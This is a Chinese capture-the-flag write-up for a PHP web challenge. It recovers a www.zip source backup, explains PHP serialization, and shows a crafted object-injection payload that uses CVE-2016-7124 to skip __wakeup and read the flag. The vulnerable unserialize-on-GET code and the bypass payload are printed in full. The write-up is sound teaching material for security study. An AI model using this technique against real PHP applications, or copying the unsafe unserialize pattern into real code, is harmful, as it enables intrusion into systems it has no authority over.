[极客大挑战 2019]PHP 1
进入后提示我们网页有备份文件,这边使用爆破工具,网页会down掉
随便随便猜了一下www.zip
,成功下载源码
常见的网页备份有
.git
~
.swp .swo
.bak
.zip
还不知道是什么题目,解压www.zip
发现一些文件,挨个查看,首先查看flag.php
,可以并没有flag
<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>
查看index.php
源码
<!DOCTYPE html>
<head>
<meta charset="UTF-8">
<title>I have a cat!</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
<link rel="stylesheet" href="style.css">
</head>
<style>
#login{
position: absolute;
top: 50%;
left:50%;
margin: -150px 0 0 -150px;
width: 300px;
height: 300px;
}
h4{
font-size: 2em;
margin: 0.67em 0;
}
</style>
<body>
<div id="world">
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font-family:KaiTi;">因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯
</div>
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 700px;font-family:KaiTi;">不愧是我!!!
</div>
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;">
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
</div>
<div style="position: absolute;bottom: 5%;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js'></script>
<script src='http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js'></script>
<script src="index.js"></script>
</body>
</html>
在后半部分中,可以看到使用$_GET
方法获取了select
传参,并对select
传参进行了unserialize()
函数,这边研究了一下简单的反序列化。
什么是反序列化呢?
为了PHP中,数据类的传输,采用了序列化方式传输;
序列化就是将一个类或者方法或者字符串转换为一段有规律的字符串,然后反序列化就是将这段字符串再次转换为类或者方法。
可以看一个示例:
注意这里分序列化后的字符串
O:4:"Name":2:{s:8:"username";s:8:"Junglezt";s:14:"Namepassword";s:3:"226";}
O 代表是一个对象
4 对象名称的长度为4
"Name" 对象的名称
2 一共有两个属性
s 该属性名为字符串类型
8 该属性名的长度为8
"username" 该属性名的内容
s 该属性值为字符串类型
8 该属性值得长度为8
"Junglezt" 该属性值得内容
s 该属性名为字符串类型
14 该属性名的长度为14
"Namepassword" 该属性名的内容 这里需要注意:指定的长度为14,但是这里Namepassword一共12个字符,因为private的特性会类名左右加入%00,%00为特殊编码,在浏览器中显示不出来。
s 该属性值为字符串类型
3 该属性值得长度为3
"226" 该属性值内容
这边简单了解了一下反序列化
回过来,继续查看class.php
<?php
include 'flag.php';
// 关闭所有报错报告
error_reporting(0);
// 定义一个类 Name
class Name{
// 定义私有值(private) username 和 password
// 私有值在序列化时,会在类名左右加入%00
private $username = 'nonono';
private $password = 'yesyes';
// 使用一个魔术方法 __construct
// __construct 在对象被 new 时会触发
// 被 new 时,将默认的username和password替换
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
// 使用一个魔术方法 __wakeup()
// 在被反序列化时将 username值改为 guest
function __wakeup(){
$this->username = 'guest';
}
// __destruct在对象被销毁,程序结束时执行
function __destruct(){
// password等于100,否则会结束执行
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
// 如果 username==admin,就打印flag
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
这里简单分析了一下代码,只有password=100
还有username=admin
的时候才可以得到flag。不过这里有好有坏。
好的是可以通过__construct
魔术方法,在实例化对象的时候,更改username和password
的值,但这里wakeup坏了我们的好事,
__wakeup
魔术方法在反序列化的时候会将useranme
的值改为guest
,这样就获取不到flag,password并不会修改。
所以这里如何绕过__wakeup
函数呢?
看了大佬的文档,__wakeup
魔术方法存在一个漏洞,代号为:CVE-2016-7124
将Object中表示数量的字段改成比实际字段大的值即可绕过wakeup函数。条件:PHP5 < 5.6.25,PHP7 < 7.0.10,或者PHP 7.3.4
这样就可以绕过__wakeup
魔术方法的执行,这就试试
首选我们需要定义一个和题目中一样的类型,然后其中的值也是私有类型,并且变量名也一样,改为可以得到flag的值username=admin 、 password=100
,代码如下
<?php
class Name{
private $username="admin";
private $password="100";
}
$new = new Name();
$ser = serialize($new);
echo $ser;
?>
复制上述获取的序列化字符串
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
这里是不对的,需要手动加上%00,为了绕过__wakeup
,将成员符改为3
,默认为2,两个属性。
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
payload为
/?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
提交得到flag
收获:
反序列化的简单概念
private 私有方法,在进行序列化时会在属性名中加入类名,并且类名左右会有%00特殊字符
__wakeup 魔术方法在反序列化时执行,(成员符大于默认值时可以绕过__wakeup魔术方法)
__construct 魔术方法在对象被new(实例化)时执行
__destruct 魔术方法在对象被销毁,程序结束时执行